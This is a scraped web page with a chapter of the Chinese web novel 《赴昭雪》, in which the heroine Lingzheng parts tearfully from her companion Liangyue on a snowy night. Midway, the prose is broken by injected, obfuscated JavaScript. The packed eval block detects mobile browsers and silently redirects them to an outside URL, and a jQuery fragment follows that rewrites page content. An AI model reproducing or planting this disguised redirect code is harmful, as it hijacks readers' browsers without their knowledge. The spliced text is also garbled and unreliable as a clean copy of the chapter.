41. 别离
作品:《赴昭雪》 “早些回去吧,要下大雪了,山路难走,越晚就越滑。”叶卿迎着不远处几人探究的目光,两手捂着脸搓了几下,他的手冻得通红,呼出来的气像一团白雾。
泠筝留下了姜南,她带着姜南回了府中,再有一个多月的时间她就是这里的郡主了,自然要对府中一切都熟悉。
果然,一入京便再不见漫天风雪洋洋洒洒的样子了,只有顺着街道两边吹过来的寒风直往人衣服里钻。
泠筝看着姜南换回原来的模样,不禁问道:“叶卿给了你多少银子,值得你为他做这些掉脑袋的事?”
姜南看得出她的顾虑,她低下头在随身携带的一个小包袱里翻找半天,拿出来一个小小的黄铜胆瓶递过来,“这里面装的是我的蛊,它和为我续命的这只是一对儿,你要是想我死,捏死它就好了。”
泠筝讶异之余不明就里地接过瓶子,轻晃了几下,里面果真有什么东西在往瓶身上磕,她看向姜南平静又坦然的双眼,说道:“双生蛊?”
姜南大大方方地承认,“郡主好眼力,这就是双生蛊。我本是活不到这个年纪的,是我奶奶搭上了性命才给我换回来这么一双蛊虫,是它们保着我,才让我多活了这几年。”
这种东西泠筝只在古籍里看到过寥寥几句的相关记载,没成想有生之年竟真能得见此物,也算是开了眼了。
尽管京城里齐集各方能人志士皆能一技惊人,但总有些东西它们不进京,只活在更广阔的天地里。
姜南看向那只瓶子的神色分外温柔,那眼神不像是在看一个物件,而像是在看一个陪伴自己多年的友人。
她的脸没有被妆容粉饰的时候气色极差,白得让人心惊,泠筝将那只瓶子握在掌心,隔开了姜南的视线,她这才转过脸收回目光。
“郡主放心即可,我对这皇家的荣华富贵无意,心中自有他处作想,此番定不会给郡主带来其他隐患,您只需按时交给我应得的银票即可,只要银子给得足够,定不让郡主有丝毫顾虑。”
那是一双怎样的眼睛?姜南的眼睛清亮亮的,深褐色的眼瞳看起来真诚极了,充满着希冀。就在一刹那间泠筝真的很想问问她所说的“他想”到底是什么,能让她违背作为人最原始的贪婪和欲望,宁愿就这样把自己的命交付给到别人手里。
“其实我对母亲的印象已经很模糊了,我只记得她总是很忙。忙得不能像大街上别人的母亲一样牵着女儿的手带她从这头走到那头,忙得我只能看得见她的背影。”泠筝踩着雪往前走,下雪天不怎么冷,她来这里时也没有抱手炉。
长街最繁华的地段就在忠顺门附近,夜色降临时尽管雪已经落了厚厚一层,街上的人却还是不见少,反而都是拖家带口的出来踩雪。
凉月静静地跟着泠筝,两人漫无目的地踏雪前行,泠筝走到一处被雪盖住的棚子前,俯身在门前的桌面上捧起一捧雪,用力捏成一个实心的小雪球。
嬉笑声不断从四周传来,一群小孩穿得像是团子一样,正和同伴们互相扔雪球,他们笑着闹着,也不管自己手里扔出去的有没有打到谁,谁和谁又是一队人,只要扔出去就好,扔出去就很开心。
街边也有不少年轻的姑娘家三五成群地说笑,她们穿的衣服也很相似,让人一见就能立刻明白这几人的交情有多深厚。
泠筝手上掂了掂雪球,不知道要扔给谁,于是又将它摔回地面上,任它陷进雪地里。
凉月走上前来为她系好大氅的带子,然后塞给她一个热乎乎的东西,泠筝低头一看,那是一只烤红薯,焦黄的外皮散发着诱人的香味。
她们坐在一个馄饨小摊前要了两碗馄饨,一人一半吃完了那只红薯。
泠筝问凉月,等这件事做完后要去哪里。
泠筝说,其实她现在也可以走,不过如果真的要走的话那就不要告诉她了,挑一个晨雾散尽的清晨,收拾好行李悄悄离开就好了。
她说她一直都知道凉月很喜欢在有雾的早晨出去走走,摘一朵路边的小花坐在溪边看流水,不知道她想念的地方是不是记忆深处的那个家。
说完她大口咽下最后两颗馄饨,呛得她咳了半天。
凉月用勺子将碗里的馄饨一颗一颗剁碎,不说话,不抬头,也不停下手里的动作。
等那一碗馄饨完全变成肉馅面皮汤时,她才把勺子放下,端起碗一口气喝了个干净。
她说她的确有一个很想去的地方,但不知道她还能不能去了。
泠筝小声地“哦”了一声,这次轮到她低下头不说话了。
准备得再万全的盔甲在真正的结果来临时也会变得不堪一击,即便表面上裂缝微乎其微,内里却早就四分五裂了。
泠筝掏出荷包匆匆结了账,转身就往人少的地方走,她突然很想再吃一个烤红薯,得是凉月买的才行,但又不知道如何开口。
凉月离她不过一步之遥,泠筝走在前面能听到身后凉月的脚步声,她问:“那你什么时候走?”
“小姐不是说不要告诉你吗?”
“……我就问问,你也可以不说。”
凉月想了想,说她现在就走。
泠筝僵住了脚步,她回过头不可置信地看着凉月,不敢相信分别来得如此突然,让她措手不及。
她们停在一段人很少的岔路上,没有人听到她们的对话,也没有人去注意她们在干什么,就连泠筝自己也觉得自己仿佛听错了什么。
她在心里反复重复着这句话,就这短短的四个字,却扎得她的心上血流不止。
她忘了她问了那么多人的想法,却唯独没有问过凉月,问问她是否愿意掺合进这些事情里,是否还有其他未完成的心愿。
她犯了一个错,错在她在潜意识里将凉月划分进了自己的阵营,还是生死都作陪的那种,她忽略了凉月最初跟着她的目的不过是报仇而已。
泠筝盯着凉月的脸看了许久,确定对方说的话不是在骗她之后,说话的声音轻得快要连她自己都听不见了。
“可你还没拿包袱,没带银票……”
凉月却说:“我不需要包袱,也不需要银票。”
“那怎么行呢,外面做什么都要花钱。”沉思片刻后泠筝左右看了看,她对凉月说道:“你等等我,我去那家当铺换点东西,一刻钟就好。”
凉月站在那里看着泠筝一路小跑进了当铺,那一路上她时不时回头看看凉月,确定人还在原地之后才又转过身往前走。
凉月长舒了一口气,昏暗的灯笼照得她的脸忽明忽暗,她轻声说道:“再会吧,小姐。”说完便闪身便没入了黑暗中。
等泠筝回来时她手上的玉环金镯早就不见了,头上的首饰也只剩了几支能挽住头发的,但凉月也同样不见了,雪地里空有一串脚印一直通往黑暗深处,看不见尽头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337048|195807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她怀里抱着一个用厚布裹住的包袱,顺着那串脚印往前跑了一小段路,跑着跑着又停了下来,气喘吁吁地弯着腰靠在街边的一棵不知名大树上抹了一把眼泪。
就一刻钟,一刻钟都等不了吗?
她想离开已经想了很久了吧,所以才会在刚说完就走,她都不愿意收下自己最后能送她的一点东西……
真想不到,有一天她们之间也能疏远成这样,真真是连一声告别都没有。
泠筝把那个裹着银票的包袱狠狠往地上一摔,发出一声沉闷的声响。
今夜静得连风声都没有,月亮明晃晃地照着大地,她双手伏在膝盖上久久没有起身,失神地看着自己的影子就缩在她的脚下一动不动,她想,这世间能一直陪着她的就只有这个影子了吧。
泠筝何尝不知道自己的孤僻,她没有闺中密友,没有同龄人与她玩闹,干什么都始终是她一个人,她甚至没有收到过谁用心准备的礼物。
其实她才是最孤独的人,但没有人会觉得她缺什么,人总爱盯着自己没有的看,他们只看得到她生来就有人伺候,身份高贵,金银财宝堆成山等着她去挥霍,那是他们眼中的享福。
泠筝不否认这个看法,这确实能让她免受很多苦楚,并且她发现自己又何尝不是将已经拥有的不当回事。
真讽刺,竟然连她都这么认为,她一度以为自己不需要那些多余的陪伴和友人,直到她失去了陪她最久的那个人,才可悲地发现原来她最缺这么一个人。
眼泪大颗大颗地砸在地上,冰凉的泪痕被风一吹仿佛划开了一道伤口般疼,她毫无预兆地哭了起来。她没有嚎啕大哭,也没有泣不成声,就只是不停地流眼泪,怎么擦都擦不干净。
她连难过都没有声响。
泪眼蒙眬间泠筝看到方才自己和凉月坐过的那个馄饨摊挤满了人,夜里冷,他们都围在那里吃馄饨。
热气飘升到屋檐上面再消散开来,谈笑声却越聚越响,吵得整个夜里都暖烘烘的。
泠筝环顾身边,这里没有灯笼,没有灯笼的地方就没有馄饨摊,没有馄饨摊就没有人谈笑,所以黑沉沉的地方始终是冷的。
不知过了多久,泠筝甩了甩潮湿的衣袖,站起来就深一脚浅一脚地往回走,夜里冷得厉害,被人反复踩过的积雪也变成了冰,一不留神就能把人摔倒。
她小心地一点点往前挪,还不许萧扬过来扶她。
回到府上时夜已经很深了,魏棠早就熬好了一罐羊肉汤就等着泠筝回来,她给泠筝盛了一碗看着她喝完,又不放心地嘱咐了她好些话才打算退下。
“棠姐姐,无论我去哪里你都会陪着我的,对吗?”泠筝坐在桌前呆呆地盯着魏棠。
魏棠拍了拍泠筝的肩膀,笑道:“会啊,我会一直陪着郡主,不管什么时候。”
泠筝拉住她的手,轻抚过魏棠略带粗糙的手掌,叹息道:“那就好,你可千万不能离开我,否则我真的会很难过的。”
即便是很多年后,泠筝每每想起那个夜晚仍会觉得心悸,但与此同时她又不得不得承认她仿佛真的在一夜之间改变了许多。
这是她头一次真正意义上面对突如其来的分别,而不单单是突如其来的噩耗。
因为凉月没走。
她说,小姐需要好好的哭一场。
她回来了,这次她投靠的不是长公主,而是慧德郡主。

